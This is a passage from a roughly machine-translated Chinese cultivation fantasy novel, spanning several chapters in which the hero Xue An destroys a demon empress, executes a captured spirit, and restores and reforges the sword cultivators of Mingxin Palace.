    A demon with a height of thousands of feet didn''t even bother to take a look at these "ants", but just blew it through.


    This small tea shed was blown to the ground by a fierce yin wind, and the tea owner hugged his daughter tightly, barely being blown away.


    Perhaps because of the extreme fear, he wielded a kitchen knife and shouted with the greatest strength of his life: "You evildoer, come! I''ll fight you!"


    The demon heard the shout, and a mortal with his low hair was waving something like crazy. He couldn''t help but grinned, then raised his foot to step on it.


    For their existence, the cultivators are mortal enemies, as for these ordinary people, they are not even considered as ants.


    But just when its feet are about to fall.


    A cold snort with infinite anger came from a very distant place, and it spread all over Jianzhou in an instant.


    Wherever the sound wave passed, these violent demons, who were planning to have a slaughter addiction, stopped in place in an instant.


    Then I saw a light of horror gradually appeared in their eyes, as if they couldn''t understand why this happened.


    But everything ends here.


    Hearing only a sound of crisp and extremely cracking sound from their bodies, cracks began to appear in the huge bodies of these monsters.


    boom!


    It seemed that someone had pressed the detonation button, and the countless demons exploded almost at the same time, exploding into the sky.


    Such a scene stunned everyone.


    The owner of the tea shed who had been holding each other to wait for death gradually widened his eyes, not understanding what had happened.


    All the sword repairmen who fell on the ground and couldn''t move because of the loss of force were equally shocked.


    at the same time.


    The empress was also taken aback, then suddenly turned her head and said angrily: "Who? Who dares to kill my men?"


    "Haha, your subordinates?" Just heard a sneer.


    A stream of light rushed from the sky far away.


    The speed is so fast that many people have appeared in the field before they even reacted.


    After standing still, Guanghua dissipated, and inside was a young man dressed in white.


    As soon as this young man appeared, there was a low uproar in the audience.


    Although no one has seen this young man, judging from the speed just now and the aura that naturally exudes from him, it is by no means an ordinary person.


    The faces of the others who held the sword were still full of solemnity.


    Because this ghost-teaching female emperor is no longer comparable to the average strong, this young man looks powerful, but how can she be her opponent with just one person?


    With the same idea, there is this lady emperor.


    She was also a little nervous just now, because that cold snort just wiped out all the demons, and this kind of strength made her look a little stunned.


    But after the meeting, he found out that he was just a teenager, and judging from his momentum, he shouldn''t be a big deal, so he put a big rock in his heart and sneered.


    "who are you?"


    "Me?" The white-clothed boy stared at the empress, his eyes twinkling, and then smiled faintly, "My name is Xue An!"


    Xue An?


    Hearing this name, many people looked confused.


    Holding the sword and the others looked at each other, they all felt that the name was a bit familiar.


    suddenly!


    Elder Yujian exclaimed, "Could it be the Xue An who had previously been rumored to have killed the two heads of Jinding Pavilion?"


    He is usually in charge of intelligence and sect classics, so he has naturally heard those rumors from Jinguangdongtian.


    And when he heard this, many people''s hearts gradually sank.


    Jinding Pavilion.......


    Isn''t that the last sect among the seven caves?


    Although this young man has killed two heads, how can he be the opponent of this empress just by relying on him?


    But the eyes of those holding swords and others lit up.


    Because it is said that Xue An participated in the Orthodox Grand Contest, and now he suddenly appears, doesn''t it mean that the people who participated in the Orthodox Grand Contest are all right?


    Seemingly aware of the thoughts of a few of them, Xue An lowered his head and smiled at them.


    "Are you... the sword repair of Mingxin Palace?"


    Hearing Xue An''s words like this, many people frowned slightly, because the tone was awkward, and it gave people a very arrogant feeling.


    The swordsman and others ignored these and nodded one after another.


    "Yes, Xue...How about this little friend Xue, the rest of the Taoist fellows and my disciples?"


    Xue An smiled, "They are all coming here, but I think they are too slow, so I came here first. Fortunately, it''s not too late!"


    Hearing that the other Dongtian and his disciples were okay, most of the sword-holding heart was relieved, and immediately as if thinking of something, Huo Ran raised his head and shouted: "Xue Xiaoyou, you should leave here now and tell others, Qian Don''t come here, after all, you must save your strength!"


    His words reminded Yujian and many people.


    "Yes! Get out of here! You are not the opponent of this empress!"


    "Save the fire, don''t be impulsive!"


    These shouts one after another.


    Many people looked at Xue An anxiously.


    The empress sneered, "Want to go? Do you think he can still go?"


    As he spoke, he saw that layers of black fog began to appear in the surrounding world, and the fascinating flowers on the other shore were looming in the black fog, quietly blocking the entire world.


    These scenes made the hearts of those holding swords and others sink.


    Unexpectedly, Xue An laughed, "Go? Who said I was going to go? And..."


    A cold light flashed in Xue An''s eyes, "You have an aura that I am familiar with, so you don''t want to leave today!"


    The female emperor almost thought she had heard it wrong, she was slightly stunned, and then she turned back and laughed.


    "Boy, do you know who you are talking to?"


    Xue An smiled, something weird in his smile, and then slightly sighed: "I should actually ask you this sentence!"


    Soon Xue An shook his head again Forget it! You can tell from the way you look, you shouldn''t have the right to know my existence, so...Today I will let you learn awe! "


    A sneerful smile appeared on the face of the empress, just about to speak.


    Xue An''s figure appeared in front of her in an instant, and before she could react, Xue An''s punch hit her head.


    boom!


    With a loud noise, the empress was blasted far away along with her bone throne.


    After waiting for a long time to stop, the empress''s forehead has been swollen into the birthday star, and it looks very strange to match her Lolita face.


    This shocked everyone like a shocking punch.


    The empress was even more speechless because of extreme anger.


    Xue An broke his fingers in his spare time, and said lightly: "Hurry up, I''m very busy!"

 Chapter 1331： Use violence to control violence

    The female emperor was almost mad, "I will kill you, so that you will never be overborn...!"


    The bitter roar was filled with chilling resentment.


    But before she could finish her words, the female emperor suddenly let out a scream.


    "Ah ah ah ah, let me down quickly!"


    hiss!


    All the people present couldn''t help taking a breath.


    Xue An grabbed one of her feet at the moment because she was still flaunting her majesty and she was invincible, and she whipped it up like a whip.


    The female emperor uttered screams, and frantically urged her own cultivation base, trying to kill Xue An.


    Then she found in horror that all her efforts had failed under the control of the white-clothed young man.


    An unprecedented panic rose in the heart of the empress.


    What exactly is going on? Why are all my own cultivation bases invalid? What is the origin of this surname Xue?


    Just when she was in doubt.


    Xue An said lightly: "Get out of the way!"


    The crowd above the ground quickly drew out of a clearing.


    At the same time, I saw Xue An grabbing a leg of the empress and suddenly slammed it down.


    "Ah ah ah ah ah ah ah!"


    The female emperor screamed sternly, trying to stabilize her figure, but Xue An''s strength was so great that her body could not react before she was smashed directly into the ground.


    Bang!


    The whole Jianzhou seemed to sway three times.


    And in the dusty sky that was shaken up.


    Everyone''s eyes were dull.


    It wasn''t until a moment later that the sword and the others caused Lingling to shudder, and then looked at the huge pit on the ground that had been smashed out of the ground with a full face.


    Still...Can you still fight like this? Just grabbing the demon queen''s foot and throwing it hard?


    This is incredible!


    You know, they just gathered all the power of sword repair in the entire Jianzhou, but they barely injured some of the female emperor''s fur.


    But in the hands of Xue An, how could this empress become so vulnerable to be deceived?


    Just when this group of Jian Xiu looked sluggish and thoughtful.


    There was a roar like a beast from the ground beneath his feet.


    "I''m going to kill you!"


    With the voice, I saw this huge pit suddenly burst open on both sides, and then shot out countless black lights from it, all the targets were directed at Xue An in the air.


    "Be careful!" Many people couldn''t help exclaiming.


    Xue An didn''t even look at these black glows, but looked down at the huge pit, with a flash of excitement on his face.


    "Is that the right way! Otherwise, the playing is too easy, but I will be very unfulfilled!"


    Xue An whispered softly. As for those black lights, even his body could not get close, so they were directly evaporated into nothingness.


    At this moment, a huge figure suddenly rushed out of the huge pit, and hit Xue An with a powerful force of thunder.


    Wherever he went, it seemed that even the space was shattered.


    And when the Qi machine was locked, the surrounding world became extremely gloomy in an instant.


    Between the heavens and the earth, there was only this bone demon king whose whole body exuded a brilliant luster.


    Yu Jian''s expression instantly became extremely solemn, "Second form! This is the second form of the female emperor recorded in the classics of Shimen!"


    When everyone heard the words, their hearts sank to the bottom in an instant.


    Because of the battle between good and evil back then, they had heard of it more or less through various channels.


    And this female emperor was the culprit who caused the seven great caves to suffer heavy losses.


    In various legends, when this demon emperor opens the second form, her strength will increase exponentially.


    Many of the strong leaders at the time had all died under her second form.


    Just now Mingxin Palace gathered all the power of sword repair, but failed to force her out of this form.


    Now that this young man faces it alone, isn''t it even more dangerous?


    Thinking of this, everyone''s heart instantly raised their throat.


    At this moment, this demon empress had already flown into the sky, Jie Jie said with a strange smile.


    "Boy, you can force me to show this form, it is enough to be proud! But you still have to die! I will dig out your soul, and then be trapped under my seat, so that you can enjoy the pain of eternity. relief!"


    Xue An raised his eyebrows slightly, "Oh? Really? I hope you can talk to me in this tone later!"


    "Hmph, dare to be arrogant when death is imminent! To kill hell!" The female emperor has obviously hated Xue An very much.


    With an order, the almost infinite black energy instantly turned into a terrifying weapon, and the surrounding world turned into a bloodthirsty cage.


    As for the target, they all aimed at Xue An.


    As a result, under the boundless black sea like the turbulent waves, Xue An''s figure was so thin that it made people feel that he was about to be torn apart and swallowed by the darkness.


    Seeing this scene, many people were desperate, then turned their heads and couldn''t bear to look again.


    In their opinion, this young man in white must not be able to pass the hurdle in front of him.


    But just when these attacks had already rushed to Xue An''s approach, even when his hair was wobbly blown.


    Xue An slowly raised his head, his eyes as cold as ice.


    "With so much violent aura, how many souls have you killed?"


    With this questioning, he opened his mouth in the blood basin, and was about to take the Kuroshio that Xue An had swallowed in one mouthful without even humming. It disintegrated in an instant and then turned into nothingness.


    Originally confident, the empress who thought Xue An was bound to die, couldn''t believe her eyes, and then screamed: "How is it possible! How can you break my trick?"


    Before the words fell, Xue An stepped forward and instantly appeared in front of her, and said coldly: "Next, it''s me!"


    With that, Xue An raised his hand and grabbed one of her arms, and then pulled down lightly.


    With a creaking sound, this thick and thick, nearly ten meters long, the arm made of white bones was torn off by Xue An.


    The female emperor let out a terrible cry.


    Xue An didn''t move at all, and threw it away. This arm fell to the ground, smashing the ground into a big hole.


    The female emperor was full of fear had no intention of fighting, she just wanted to stay away from this Xue An.


    But when she just wanted to run, Xue An didn''t give her this opportunity at all. He stretched out his hand and grabbed the other arm.


    "Now, please enjoy the next time slowly!"


    Xue An said lightly, and the palm of his arm squeezed.


    Boom boom, with a crackling sound like firecrackers, the other arm of the empress was unscrewed by Xue Ansheng.


    The extremely severe pain made the female emperor''s miserable howl more stern, and the huge body was struggling in pain, trying to get rid of Xue An''s control.


    But Xue An didn''t give her this opportunity at all. He raised his sword eyebrows and said lightly: "Shut up!"


    With that, Xue An smashed the empress�� face with a fist, directly smashing her mouth completely.


    The screams disappeared instantly.


    And the audience was even more silent.

 Chapter 1332： Now that you know who I am, then you...

    Everyone was staring dumbfounded, and some timid people were shaking all over.


    This... is this the **** real or is it dreaming?


    Repeatedly invaded this realm, and even the demon queen, who could not completely wipe it out with the power of the seven great caves, was actually suppressed by this white-clothed boy throughout the whole process, and looking like this, it seems that the queen has to be dismantled a little bit. Up!


    This is incredible!


    When everyone was stunned by it, Xue An had already removed the female emperor''s ribs very neatly.


    Looking at the huge piles of bones on the ground.


    Even the well-informed swordsmen and others could not help but swallow secretly.


    "Old... old fourth! Can this demon empress be wiped out like this?" asked with a trembling sword.


    Yu Jian was silent for a moment, then shook his head with a wry smile, "I don''t know, but this is the first time I have seen such a violent method!"


    Hearing what he said, everyone raised their heads and looked at the high sky. Xue An, who was pouting the female emperor''s legs enthusiastically, couldn''t help being a little silent.


    It seems to be a bit violent, but it feels... really cool!


    You must know that the demons and ghosts have always regarded the human race as food, and they have repeatedly invaded this world for thousands of years.


    In the past, it was the empress who used various brutal methods to deal with the human race.


    Now it was her turn, and everyone naturally felt very refreshed in their hearts.


    At this moment, there was a loud bang, followed by a violent tremor.


    When everyone looked up again, they saw that the empress''s legs had been broken directly from the knees, and the broken calf fell to the ground.


    And she was wriggling crazily because of intense pain.


    Although she could not hear the sound, everyone seemed to hear her howl.


    Many people looked pale and couldn''t help stepping back.


    At this moment, Xue An clapped his hands and said lightly: "How do you feel?"


    Hearing his words, the demon empress, who has always been known for her arrogance and viciousness, raised her head, her eyes filled with panic and fear.


    "Huh?" Xue An raised his eyebrows.


    The female emperor trembled with fright, then hurriedly pulled the corners of her mouth, revealing a flattering smile.


    Seeing this scene, everyone''s mouths opened slightly.


    Because the contrast between before and after is really too great, the previous empress can be said to be the nightmare of everyone in this world.


    But now, he was beaten up by the boy in white.


    This contrast has created an extremely absurd feeling in many people''s hearts.


    But at this moment, Yu Jian suddenly shouted: "This... this senior, don''t be fooled by these demons, especially this empress has killed countless creatures here for thousands of years, and died in her hands. So you must not let her go!"


    His words reminded many people.


    "Yes! These demons are not humans, they are soulless beasts!"


    People shouted one after another, and their eyes flashed with bitter hatred.


    Seeing this scene, the empress panicked.


    Now she is really afraid of Xue An, who didn''t know where to come out.


    At this moment, Xue An slowly lowered his head and whispered in her ear: "Did you see it? People don''t seem to like you!"


    The empress was shocked, her broken mouth moved.


    But at this moment, Xue An stepped on one of her legs without hesitation, grabbed the other leg, and said lightly: "There is one of your favorite words, I will give it to you now!"


    "Welcome to hell!"


    When the words fell, Xue An shook his arms and screamed softly, "Give me... open!"


    Click!


    With a continuous burst of noise, the empress struggled with great pain, and her eyes were full of spitefulness.


    But none of this can change her destiny.


    Just listen to a loud bang.


    Xue Ansheng''s second form of this demon empress was torn into two halves.


    There is no blood.


    Yes, it''s just bone debris and dust scattered like rain.


    No one dared to speak, because everyone was stunned by Xue An''s powerful blow.


    At this time, Xue An threw away the demon bone that had been torn in half, but did not leave. Instead, he patted his hands and said lightly: "Is that just a little trick? It really disappointed me!"


    As if to respond to his words, at the moment the monster bone fell to the ground, an aura that was strong enough to overturn the entire Sword State appeared out of thin air.


    Then a layer of extreme darkness appeared on the sky, and in the darkness, a small and lonely figure was slowly emerging.


    "The...the third form! It''s the third form of this empress!" Yu Jian seemed to understand something, and exclaimed.


    The elder holding the sword on the side trembles even more, not because of fear, but because of the momentum.


    "Xian...The power of the fairy king!" He whispered softly, his eyes full of shock.


    Because only the might of the fairy king can make this world show signs of collapse.


    It seemed that Xue An, who was standing on the sky, was not moved by the momentum, but smiled faintly.


    "You are wrong. This is not even a finger of a real fairy king. This is just a pseudo-immortal king built with magical secrets! Am I right?"


    Following Xue An''s words, the woman who appeared in the darkness gave a sneer.


    "That''s right, but you forgot that the pseudo-immortal king is also the immortal king! And you will pay a thousand times the price for everything just now!"


    The form of this woman at the moment is not a demon or a human body, but an illusory spiritual form.


    But even so, you can still see the resentment and cruelty in her eyes.


    The various actions that Xue An has done to its demon body just now made it feel extremely angry and humiliated.


    As an incomparably noble existence, it has never been so humiliated.


    So now she can''t wait to swallow Xue An alive.


    As for the audience, they were trembling.


    There is a sense of despair in everyone''s hearts.


    Because as the female emperor said, the pseudo-immortal king is also the fairy king!


    This gap in strength is enough to kill everyone present ~ www.novelhall.com~ and even this Jianzhou may not be able to keep it.


    But at this moment, Xue An suddenly flashed around and appeared beside the empress. Before she could react, Xue An whispered something in her ear.


    In an instant, the eyes of the empress opened wide, and an unprecedented panic appeared on her face full of resentment.


    "you you����."


    Xue An smiled, then drooped, and said indifferently: "Now that you know who I am, then stop it yourself!"


    The voice spread throughout the audience, and many people''s eyes widened instantly, and they couldn''t believe their ears.


    But the next moment, the performance of this empress was even more unexpected to everyone, and a hint of fear and unwillingness flashed in her eyes, but she bowed her head deeply in the end.


    "Yes! Your lord!"


    After all, she saw her figure burst instantly and turned to nothing.

 Chapter 1333： Where is the empress? died! where? All over the floor...

    oom!


    With the disappearance of this female emperor, the sky full of black clouds quickly dissipated at a speed visible to the naked eye, and the Heaven Extinguishing Lock that originally sealed the entire cave sky disintegrated instantly.


    After this series of great changes, everything finally returned to silence.


    And this first cave sky has been restored as before!


    Everyone who had witnessed the whole process had a dumbfounded look, because at this moment they had fallen into deep self-doubt.


    Because they couldn''t believe it, all of this would actually be true.


    Known for her ferocity and cruelty, and even the Demon Empress, who has left extremely tragic records in the history of the Seven Great Caves, actually died like this?


    And he broke himself in front of this white-clothed boy!


    If this matter was told to everyone present before today, no one would believe it.


    Because this is really incredible.


    But now, all of this is happening in front of everyone.


    Just when everyone was in shock and couldn''t help themselves.


    Xue An raised his head and gave a cold smile somewhere in the void.


    "Is it true? Old friend, it seems that not only me, but your reputation has already had a serious problem!"


    Xue An whispered softly, and a meaningful light flashed in his eyes.


    At the same time, a torrent of countless brilliance appeared from the distant sky, and rushed here mightily.


    Seeing this scene, the sword and the others were all shocked, and then a surprise appeared on their faces.


    Because they can feel that the dozen sword lights rushing in the front are not their disciples?


    In an instant.


    Man Tian Guanghua has already rushed to the front. After standing still, it is Tian Yuanqing and the other six people from the cave.


    These people came long distances, but everyone''s faces were full of war.


    Especially the headed Tian Yuanqing, Nian Xuexin and others are even more anxious.


    Although Xue An has already taken the first step back, in the eyes of Tian Yuanqing and the others, no matter how strong he is, there is only one person.


    So on this road, they can be said to be back home, wishing to fly back to Jianzhou directly.


    But when they arrived here, Tian Yuanqing and the others were suddenly shocked to discover that their master and others were all standing on the ground. Although they looked sluggish, they were all safe and sound!


    The only thing missing is Elder Shechem, the fifth uncle!


    How is this going?


    This question just rose from the hearts of everyone, and Nian Xuexin couldn''t help but ask Xue An: "Mr. Xue, you came back early? Where is the demon queen now?"


    "Yeah! Isn''t the empress coming yet? This is just right, we can also form a defense first!" Fang Xing''an couldn''t help but breathe out.


    Only Tian Yuanqing did not speak, because he was looking at the big hole on the ground in a daze.


    Xue An shrugged, and said calmly: "You don''t need to look for that empress anymore, she is dead!"


    "Dead?" Everyone''s eyes widened instantly.


    Xue An nodded.


    "What about the corpse?" Nian Xuexin couldn''t believe it.


    Xue An pointed to the huge bones on the ground, "Here, it''s all over the floor!"


    All of these people who rushed in were instantly plunged into deep self-doubt.


    You must know that they are ready to fight hard, and some people are even ready to sacrifice themselves to stop the demon invasion.


    But I didn''t expect this Xue An to come so long in advance, and actually wiped out this notorious Demon Empress!


    No one dared to doubt the authenticity of all this, because the expressions on Jian Xiu''s faces standing on the ground had already told them that everything was true.


    Nian Xuexin''s mouth opened slightly, looking at this smiling Xue An, the shock in her heart was beyond words.


    Because she suddenly discovered that Xue An''s body was shrouded in countless mysteries.


    Especially his strength, how tyrannical he must be to destroy a demon queen in such a short period of time!


    As for Sheng Miaotong, who also came with the team, he looked at Xue An blankly, his thoughts undulating like waves.


    From the curiosity of the first acquaintance to the admiration of the latter, to the present, Sheng Miaotong suddenly discovered how ridiculous his and his father''s previous thoughts were.


    It''s ridiculous like an ant on the ground speculating about a dragon in the nine heavens.


    In the end, Sheng Miaotong slowly lowered his head and hid some feelings deeply into the deepest part of his heart, without any extravagant hopes.


    At the same time, an invisible black shadow was quietly concealing into the void.


    Xue An''s eyes flashed, and said lightly: "What? Do you want to leave now?"


    As he said, he waved casually.


    The black shadow that had been hidden into the void instantly appeared, and then he was dragged to Xue An by Shengsheng.


    Before Xue An could speak, a tragic begging for mercy came from the shadows.


    "My lord is forgiving! Your lord is forgiving!"


    As he said, the shadow was shaking tremblingly, as if he had been frightened and was about to collapse.


    In fact, the entanglement at this moment is indeed going crazy.


    On the way here, because everyone was slow, Xue An took the first step and headed to Jianzhou alone.


    I don''t know if it was deliberate or forgotten, Xue An actually left behind the sealed lingering spirit.


    Youcang was ecstatic, but instead of trying to escape, she came with the team.


    Because in her opinion, this Xue An was purely looking for death, and even dared to fight against the Empress, and even went to Jianzhou single-handedly. She really didn''t know how the death word was written.


    As a demon under the command of the Empress, coupled with the hatred of being bound by Xue An''s seal, she naturally wanted to follow along to see what happened to Xue An.


    However, she never expected that after she came here, she was extremely horrified to find that the Sky Extinguishing Lock was gone, the black clouds all over the sky were gone, and even the breath of the Empress had disappeared.


    The only thing left is the bones all over the floor.


    And when you look at these bones carefully, this lingering fright almost blew himself up.


    Because these bones are impressively the body in the second form of the Empress ~ www.novelhall.com~ a terrifying thought suddenly rose in the lingering heart.


    And what Xue An said later also proved her guess.


    The female emperor really died, dying in the hands of this white-clothed boy.


    Panicked, Youchan began to hide silently and tried to escape.


    But never expected that all the calculations were finally lost.


    Xue An looked at the trembling black air, and suddenly smiled, "Spare you?"


    "Yes, yes, yes! Lord, I know a lot of things that can help you enter the ghost world, just ask you to let me go!" Youchan pleaded.


    Xue An stretched out his hand and gently rubbed the surface of the black air. Every time he touched it, Youxuan would shudder, but he did not dare to resist.


    "It sounds good!"

 Chapter 1334： You guys... very good!

    Youchan secretly breathed a sigh of relief, and then smiled flatly, "My lord..."


    But the voice did not fall, but Xue An suddenly shook it.


    Bang!


    This lingering entanglement was directly pinched to shatter, and a scream full of resentment and unwillingness spread everywhere.


    "Xue, you are so cruel...!"


    Before the words fell, the voice disappeared.


    Xue An clapped his hands and said faintly: "Renuous? Compared with you demon who are no longer restrained, it is still far worse! And if I want to know something, won''t I directly search for your soul? ask you?"


    Youcang couldn''t answer anymore, because her last ray of spirit had disappeared as the black energy shattered.


    After doing all this, Xue An patted his hands lightly, and then smiled at the stunned crowd.


    "Sorry, I don''t seem to have one or two ghosts left for you!"


    Everyone woke up like a dream, and hurriedly waved their hands and said, "My lord is too polite!"


    joke!


    One or two ghosts left? Are you afraid that it is not messy enough now?


    at the same time.


    Cheers broke out in the entire Jianzhou.


    The father and daughter in the tea shed cried with joy, especially the tea owner, who knelt on the ground and repeatedly bowed at Xue An who was in the sky.


    And his attitude also represents the ordinary people in Jianzhou.


    Because these people thought that they were dead this time, they would definitely become a Chinese food for demons.


    As a result, he was rescued by the boy in white who fell from the sky, so he was naturally grateful to Xue An.


    At this time, with the support of his disciples, the elder holding the sword tremblingly stepped forward and said respectfully: "Mingxin Palace represents the people of Jianzhou, thank you for your salvation!"


    Behind him, the three thousand disciples of Mingxin Palace and those Jianzhou Sanxiu also bowed and saluted.


    "Thank you sir for your saving grace!"


    The sound shook Shiye.


    At this moment, it seemed that all the glory of the world was concentrated in Xue An, which made people afraid to look directly.


    Xue An stood proudly in the wind and looked down on the heroes. It took a long time before he smiled indifferently, "You...very good!"


    If these words were spoken from other people, they would definitely be considered extremely arrogant.


    Only when Xue An said so, it seemed extremely natural.


    No one even dared to have any objections to this.


    "The seven big cave talents inherit the tradition, but in what I have seen and heard, I have basically lost my heart and fell into a situation where the fly camp and the dog go in intrigue!"


    Hearing what Xue An said, the people of the Ecstasy Hall, Xiangsi Garden, Tianwumen, Huangshatang, etc. all lowered their heads in shame.


    Xue An continued: "You are the only sword cultivators who have not forgotten your original intentions. When facing powerful opponents, you dare to let go. This is great!


    The four elders holding swords were weakened to the extreme due to the successive battles, but when they heard Xue An''s words, they all showed excitement, and then broke free from the support of the disciple, and bowed deeply.


    "Thank you, sir!"


    There was trembling in the voice.


    Because they were not fools, they naturally understood the meaning of Xue An''s words.


    He was very disappointed with the Taoist inheritance of the other great caves, which can only show one thing, that is, he came from where the original ancestors came!


    At this moment, not only Mingxin Palace, but also the people of the other six great caves suddenly realized.


    No wonder he is so tough!


    It turns out that he came from that mysterious place of origin of Taoism!


    Thinking of this, everyone was busy bowing and saluting.


    For a time, all the seven great cavemen bowed their heads, and only Xue An stood proudly, surpassing Xue in white, just like an immortal!


    Nianxue''s heart could not help but tremble with this sight.


    Is this... really powerful?


    At this time, Xue An smiled faintly, "You are very smart!"


    No one dared to speak.


    Xue An raised his head to look at the sky, and said lightly: "Since it''s a sword repairer, then I will help you!"


    A helping hand?


    What does it mean?


    Everyone is wondering.


    But seeing Xue An suddenly stomped his foot, countless sword lights suddenly appeared in the void shaking.


    And a vigorous sword intent, even pressing across the sky, came to Jianzhou.


    All sword repairers looked up sluggishly, and some people trembled even more, because the strength of this sword intent was beyond their imagination.


    At the same time, Xue An yelled softly, "Ning!"


    Give an order.


    The sky was changing, countless sword lights suddenly gathered together, condensed into a blindingly bright sword light.


    But this is not the most important thing. The key is that the vigorous sword intent is climbing crazily at a staggering speed.


    Everyone''s complexion changed.


    Because the growth rate of this sword intent is really terrifying, as if there is no end, but in the blink of an eye, it has filled the whole world.


    Facing this vast and powerful sword intent like a sea of ??clouds, many sword repairers could not help kneeling on the ground.


    This is not surrender, but out of awe of the real strong.


    At this moment, Xue An raised his eyebrows slightly, grabbed something at random, and then said with a smile, "Look at my sword!"


    After that, Xue An''s eyes flashed, and the giant sword that traversed the sky slashed straight down with a force of thunder.


    At this moment, all adjectives became pale.


    It was as if everything between heaven and earth had been stripped away, only this sword light remained.


    No one dodges, in fact, people have lost their resistance.


    Many people closed their eyes, as if waiting for the final judgment.


    boom!


    The sword light and body, the earth quake, smoke and dust everywhere, covering all sword repairs.


    After a long time, many people gradually widened their eyes.


    Dead...dead?


    But at this moment, in the smoke and dust, countless sword intents rose to the sky, instantly crushing all the covering.


    When these sword repairs reappeared in front of everyone, they were completely different from before.


    Because of the broken heart of the sword, these swordsmen have actually lost the qualification to go on in the sword, and it is still unknown whether they can even survive.


    The swordsman and others are even more unbearable because they have burned their cultivation base.


    It can be said If nothing else, Mingxin Palace will be in a slump, or even disappear.


    But just under Xue An''s sword just now, everything was changed.


    When the sword light reaches the body, all sword repairers feel that an unimaginable sword intent burst into the body, directly repairing their broken sword heart, and even raising it by more than one level.


    As for those with swords and others, they benefited a lot.


    Originally, their cultivation base had reached the critical point of breakthrough, but because of the limited talent, there might be no hope of breakthrough in their lifetime.


    But when Xue An''s majestic sword intent entered the body, they crossed the boundary without hindrance and entered a wider world.


    At this time, under the leadership of the sword, all the sword repairmen took a deep breath, the sword light flashed in front of their foreheads, and then they knelt on the ground.


    "Sword repair disciple, thank you for your support!"

 Chapter 1335： Ten Thousand Swords

    The sound shook the sky, and Jianzhou trembled lightly.


    This kind of momentum also made the people in the other six caves shook their hearts. They all raised their heads and looked at the white-clothed young man standing in the wind with his hands held down, and his eyes were full of awe.


    Once upon a time, when Xue An said that he was going to compete for the first place in the Taoist Grand Competition, no one believed it at all, and even attracted a lot of ridicule and ridicule, thinking that he was purely talking about dreams.


    However, time has passed. When Xue An used his own power to destroy the Demon Empress and ordered Qun Xiu to bow down with a single sword, many people suddenly felt that the so-called number one was not important at all.


    Because this young man had clearly surpassed the imagination of ordinary people, and his strength could not be described by ranking.


    At this moment, Xue An raised his hand and slowly spread the palm of his hand.


    In the palm of his hand is a small sword that is already incomplete.


    Seeing this sword, everyone in Mingxin Palace exclaimed.


    "It''s the sword intent of Elder Shechem!"


    "Elder Shechem is not dead!"


    In the exclamation, the elders holding swords and listening swords were even more excited.


    Xue An smiled faintly, "Just when I cut out this sword, I suddenly found that there was such a sword intent in the sky, but it was about to dissipate, so I grabbed it! It seems that this should be the same. You people from Mingxin Palace?"


    Holding the sword and nodded, "Yes, this is the sword intent of my fifth brother elder! I was willing to blew myself to death in order to eliminate the demon!"


    "Oh? It''s Zhonglie!" Xue An said lightly.


    "Sir, is there a way to save him?" Holding the sword looked at Xue An hopefully.


    Hope arose in the hearts of all the others.


    After all, Xue An has given people too many surprises.


    Xue An shook his head, "There is no hope! His body is completely broken, and even the only remaining sword intent is incomplete and can''t be saved at all!"


    Hearing Xue An''s words, the hopeful people holding swords and others fell to the bottom of the valley instantly, and a look of sadness appeared in their eyes.


    "But..." Xue An raised his eyebrows slightly, "Although the physical body can''t be recovered, I can recast him into a sword. In this case, he can be considered alive in disguise. What do you think?"


    Chijian and the others looked at each other, then nodded without hesitation.


    "My lord, my fifth brother has always been addicted to swords, if he can use swords as his body, he must be willing too!" said Chijian.


    Xue An nodded, "That''s good!"


    With a wave of Xue An''s hand, this incomplete Lingding small sword flew out abruptly and flew over Mingxin Palace.


    Xue An said lightly: "I give you a chance. As for whether you can succeed, it depends on your good fortune!"


    After that, Xue An raised his hand, raised his eyebrows slightly, and sighed softly, "Ten thousand swords are refined, boneless and reborn!"


    boom!


    With Xue An''s order, the entire Mingxin Palace suddenly began to tremble, and then countless swords were seen rising from the Mingxin Palace, and the number of swords was so large that it even covered the sky.


    Everyone''s complexion changed.


    "These are all sword weapons in the hidden sword pavilion and the sword tomb!" Yu Jian was shocked and exclaimed.


    It is important to know that Mingxin Palace, as a sect of swordsmanship that has been passed down for thousands of years, has naturally collected countless precious swords. At the same time, many swords lost their spirituality due to the death of their masters and were eventually buried in the sword mound.


    So when they saw these swords, everyone couldn''t help being shocked.


    At the same time, but saw the boundless swords converge into a torrent of steel, and then soared into the sky, straight to the small lingding sword above the sky.


    Bang!


    When the two met, after a muffled noise, this small sword was soon overwhelmed by this boundless sword.


    The only thing left in the world was the sound of golden and iron clinking from the sword.


    The nervous palms of the swords and others were sweating, they opened their eyes wide and watched quietly.


    Time passed by every minute.


    The iron torrent of swords squirmed crazily, but the small sword was never seen.


    Xue looked quietly, but did not speak.


    Because he said that he can only provide an opportunity, as to whether he can succeed, it depends on the good fortune of this Shechem.


    At this moment, the expressions of the swordsmen and others suddenly turned pale, and they screamed, "Fifth!"


    Because in their perception, the sword intent that belonged to Shechem suddenly disappeared.


    What this means is self-evident.


    The expressions of the people in Mingxin Palace became sad.


    Nian Xuexin covered her mouth and sobbed silently.


    But at this moment, Xue An''s eyes suddenly lit up, then looked up at the torrent of iron and steel, and said with a slight surprise: "It''s actually a good talent to be broken and reborn! That''s it, then I will Help you again!"


    Having said that, Xue An stretched out a finger and directly pointed on this steel torrent.


    Click!


    With a light noise, but seeing this torrent of steel seemed to have been pressed by someone pressing the pause button, it stopped for an instant, followed by a loud bang, and the torrent of steel instantly disintegrated, even with these swords. Fortunately, all turned into powder.


    Amidst the smoke and dust in the sky, a powerful sword intent suddenly rushed out, sweeping all the sword dust in an instant.


    Then this boundless Jian Chen began to collapse and condense with lightning speed!


    In an instant.


    A small Lingding sword exuding brilliant sword intent appeared in the center of Jianchen.


    After seeing this sword, the people holding the sword instantly opened their eyes.


    They can naturally feel the familiar sword intent, but what makes them even more shocked is that this sword intent is more than twice as powerful as before, which can be said to be completely reborn.


    At the same time, but seeing this small Lingding sword rush to Xue An in an instant, before people could react, it stopped, and then transformed into a figure.


    It was Elder Shechem who blew himself up.


    I saw his face full of excitement, and bowed respectfully to Xue An.


    "Thank you, sir, for saving me from being born again!"


    Xue An accepted it calmly, "Get up, this is also your own destiny! And now you are the body of ten thousand swords, if you are diligent in your cultivation in the future, you will be able to take a path that belongs to you!"


    Hearing Xue An''s words, a hot light suddenly appeared in Shechem''s eyes.


    For him who is addicted to swords like his life, it doesn''t matter whether his body is broken or not. Even because of his talent limitations, if he is still in a physical state, he has not much scope for improvement.


    But now that he has become the body of ten thousand swords, the road of growth suddenly has countless possibilities, how can this not make him feel excited.


    "Yes, if your lord is dispatched in the future, Shechem is willing to report to you!" Shechem said very solemnly.


    Xue An just smiled and was about to speak.


